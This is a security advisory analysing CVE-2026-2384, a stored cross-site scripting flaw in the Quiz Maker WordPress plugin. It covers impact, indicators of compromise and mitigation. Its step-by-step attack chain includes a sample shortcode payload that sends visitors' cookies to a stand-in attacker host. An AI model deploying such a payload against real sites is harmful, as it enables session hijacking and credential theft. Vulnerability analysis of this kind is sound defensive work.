CVE-2026-2384: 
WordPress vulnerability analysis and mitigation

CVE-2026-2384 is a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker plugin for WordPress, affecting all versions up to and including 6.7.1.7. The flaw exists in the plugin's vc_quizmaker shortcode and requires WPBakery Page Builder to be installed and active. It was published on February 20, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is insufficient input sanitization and output escaping on user-supplied attributes passed to the vc_quizmaker shortcode, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with contributor-level access or above can inject arbitrary JavaScript into shortcode attributes, which is then stored in the database and rendered in pages viewed by other users. Exploitation requires the co-presence of WPBakery Page Builder, limiting the attack surface to sites with both plugins active (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected shortcode, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites. The scope is changed (S:C in CVSS terms), meaning the impact extends beyond the attacker's own session to affect other users. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is 0.01% (0.000100), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which significantly limits the attacker pool (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running Quiz Maker plugin version ≤ 6.7.1.7 with WPBakery Page Builder active, using tools like WPScan or manual inspection of plugin metadata.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page using WPBakery Page Builder and insert the vc_quizmaker shortcode with a malicious attribute, e.g., [vc_quizmaker attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the page: Submit the page for review or publish it directly (depending on role permissions), causing the malicious payload to be stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session token theft, credential harvesting, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing vc_quizmaker shortcode with unusual HTML/JavaScript characters (e.g., <script>, onerror=, javascript:).
• Database: Unexpected <script> tags or encoded JavaScript payloads stored in the wp_posts table within post_content fields containing vc_quizmaker shortcodes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with Quiz Maker shortcodes, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified PHP files in the Quiz Maker or WPBakery plugin directories that could indicate secondary compromise.

Users should update the Quiz Maker plugin to a version beyond 6.7.1.7 that includes a patch for this vulnerability. As a workaround, sites that do not require WPBakery Page Builder integration can deactivate or remove WPBakery Page Builder to eliminate the attack vector entirely. Additionally, restricting contributor-level user registrations and reviewing existing contributor accounts can reduce exposure until a patch is applied (Red Hat CVE, Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 16–22, 2026, flagging it as a medium-severity stored XSS issue requiring contributor-level access (Wordfence). Red Hat also tracked the CVE in their security advisory database (Red Hat CVE). No significant broader media coverage or notable researcher commentary has been identified beyond standard vulnerability aggregator listings.